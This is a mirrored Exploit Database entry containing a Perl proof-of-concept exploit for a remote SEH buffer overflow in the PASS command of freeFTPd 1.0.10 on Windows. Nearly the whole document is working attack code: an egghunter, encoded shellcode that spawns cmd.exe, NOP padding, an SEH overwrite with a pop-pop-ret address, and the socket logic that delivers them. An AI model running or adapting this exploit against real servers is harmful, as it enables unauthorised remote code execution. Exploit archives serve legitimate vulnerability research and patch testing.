freeFTPd 1.0.10 – ‘PASS’ Remote Buffer Overflow (SEH)

Exploit Database
113 阅读

作者： Wireghoul

日期： 2013-08-21
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/27747/

#!/usr/bin/perl

# freeFTPd 1.0.10 anonymous-auth PASS SEH buffer overflow

# PoC by Wireghoul - www.justanotherhacker.com

# Date: 20130820

# Tested on: XPSP3

# Similar exploits:

# EDB 23079 1330 1339

# Greetz corelan, TecR0C, mr_me, jjkakakk

if (scalar(@ARGV) != 2) { "Usage $0 host port\n"; exit; }

use IO::Socket::INET;

# Null byte in ppr forces a backwards short jump allowing 128 bytes

shellcode max

# Thus we use an egghunter

my $egghunter =

"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".

"WRGL".

"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

# I expect the max lenght for this is ~1024 bytes, didn't bother checking

# Spawn cmd.exe from msfpayload windows/exec CMD=cmd.exe R | msfencode -b

'\x0a\x0d' -t perl

my $shell =

"\xd9\xeb\xd9\x74\x24\xf4\x5e\xbf\xe0\xdd\xfb\x11\x33\xc9" .

"\xb1\x32\x31\x7e\x1a\x83\xc6\x04\x03\x7e\x16\xe2\x15\x21" .

"\x13\x98\xd5\xda\xe4\xfb\x5c\x3f\xd5\x29\x3a\x4b\x44\xfe" .

"\x49\x19\x65\x75\x1f\x8a\xfe\xfb\xb7\xbd\xb7\xb6\xe1\xf0" .

"\x48\x77\x2d\x5e\x8a\x19\xd1\x9d\xdf\xf9\xe8\x6d\x12\xfb" .

"\x2d\x93\xdd\xa9\xe6\xdf\x4c\x5e\x83\xa2\x4c\x5f\x43\xa9" .

"\xed\x27\xe6\x6e\x99\x9d\xe9\xbe\x32\xa9\xa1\x26\x38\xf5" .

"\x11\x56\xed\xe5\x6d\x11\x9a\xde\x06\xa0\x4a\x2f\xe7\x92" .

"\xb2\xfc\xd6\x1a\x3f\xfc\x1f\x9c\xa0\x8b\x6b\xde\x5d\x8c" .

"\xa8\x9c\xb9\x19\x2c\x06\x49\xb9\x94\xb6\x9e\x5c\x5f\xb4" .

"\x6b\x2a\x07\xd9\x6a\xff\x3c\xe5\xe7\xfe\x92\x6f\xb3\x24" .

"\x36\x2b\x67\x44\x6f\x91\xc6\x79\x6f\x7d\xb6\xdf\xe4\x6c" .

"\xa3\x66\xa7\xfa\x32\xea\xd2\x42\x34\xf4\xdc\xe4\x5d\xc5" .

"\x57\x6b\x19\xda\xb2\xcf\xd5\x90\x9e\x66\x7e\x7d\x4b\x3b" .

"\xe3\x7e\xa6\x78\x1a\xfd\x42\x01\xd9\x1d\x27\x04\xa5\x99" .

"\xd4\x74\xb6\x4f\xda\x2b\xb7\x45\xb9\xa6\x23\x48\x58\x41" .

"\xc9\x94";

my $egg = "USER WRGLWRGL$shell\r\n";

my $usr = "USER anonymous\r\n"; # Must be an existing anonymous account

# I'm lazy, NOPs are fine by me

my $pre = "PASS " . "\x90" x (797 - length($egghunter)) . $egghunter;

my $seh1 = "\x90\x90\xEB\x80"; # nop, nop, jmp+4

my $seh2 = "\xf0\x42\x41\x00"; # PPR from freeFTPDService.exe (only unsafe

SEH module), 0x004142f0

my $pad = "X" x 209 ."\r\n";

my $payload = $pre . $seh1 . $seh2 . $pad;

my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to

connect!\n";

my $eggsock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to

connect!\n";

print $eggsock $egg;

sleep 1;

print $sock $usr;

sleep 1;

print "Preparing exploit\n";

sleep 1;

print $sock $payload;

print "Exploiting\n";

sleep 3;

print "Done\n";